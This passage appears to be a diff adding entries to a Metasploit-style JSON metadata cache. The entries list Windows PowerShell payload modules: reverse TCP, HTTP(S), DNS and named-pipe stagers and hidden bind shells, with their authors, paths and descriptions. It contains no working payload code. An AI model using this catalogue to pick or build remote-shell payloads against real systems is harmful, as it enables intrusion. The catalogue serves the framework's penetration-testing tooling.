"Spencer McIntyre", + "hdm ", + "Chris John Riley", + "vlad902 ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/adduser", + "staged": false + }, + "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_ipknock_tcp" + }, + "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_tcp" + }, + "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp" + }, + "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/powershell/custom/bind_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_named_pipe" + }, + "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_nonx_tcp" + }, + "payload_cmd/windows/powershell/custom/bind_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp" + }, + "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_rc4" + }, + "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/custom/find_tag": { + "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/custom/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/find_tag", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/findtag_ord" + }, + "payload_cmd/windows/powershell/custom/reverse_hop_http": { + "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "scriptjunkie ", + "bannedit ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_hop_http", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_hop_http" + }, + "payload_cmd/windows/powershell/custom/reverse_http": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_http", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http" + }, + "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http_proxy_pstore" + }, + "payload_cmd/windows/powershell/custom/reverse_https": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_https", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https" + }, + "payload_cmd/windows/powershell/custom/reverse_https_proxy": { + "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", + "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "corelanc0d3r ", + "amaloteaux " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_https_proxy", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https_proxy" + }, + "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ipv6_tcp" + }, + "payload_cmd/windows/powershell/custom/reverse_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_named_pipe" + }, + "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_nonx_tcp" + }, + "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "spoonm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ord_tcp" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { + "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_allports" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_dns" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4_dns" + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_uuid" + }, + "payload_cmd/windows/powershell/custom/reverse_udp": { + "name": "Powershell 